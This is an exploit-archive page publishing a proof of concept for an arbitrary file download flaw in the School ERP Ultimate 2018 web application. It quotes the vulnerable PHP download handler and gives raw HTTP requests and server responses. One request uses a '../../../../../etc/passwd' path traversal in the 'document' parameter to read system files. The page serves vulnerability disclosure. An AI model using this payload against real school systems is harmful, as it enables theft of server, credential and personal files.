exploit the possibilities

School ERP Ultimate 2018 Arbitrary File Download

School ERP Ultimate 2018 Arbitrary File Download
Posted Oct 22, 2018
Authored by Ihsan Sencan

School ERP Ultimate version 2018 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
MD5 | a0d372c5ad93a099be337afdcb50514c

School ERP Ultimate 2018 Arbitrary File Download

Change Mirror Download
# Exploit Title: School ERP Ultimate 2018 - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-21
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://freeschoolerp.com/
# Software Link: http://freeschoolerp.com/schoolerp_30Nov2017_free.zip
# Software Link: https://sourceforge.net/projects/free-school-management-system/files/latest/download
# Version: 2018
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/student_staff/download.php?document=[FILE]
# http://localhost/[PATH]/office_admin/download.php?document=[FILE]
#
# /[PATH]/student_staff/download.php
# /[PATH]/office_admin/download.php
# ....
# if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
# $file = $_REQUEST['document'];
# header("Content-type: application/force-download");
# header("Content-Transfer-Encoding: Binary");
# header("Content-length: ".filesize($file));
# header("Content-disposition: attachment; filename=\"".$file."\"");
# readfile($file);
# exit;
# }
# ....

GET /[PATH]/student_staff/download.php?document=download.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 21 Oct 2018 00:30:01 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename="download.php"
Content-Length: 337
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download

GET /[PATH]/office_admin/download.php?document=../../../../../etc/passwd HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 21 Oct 2018 00:31:34 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename="../../../../../etc/passwd"
Content-Length: 46368
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download


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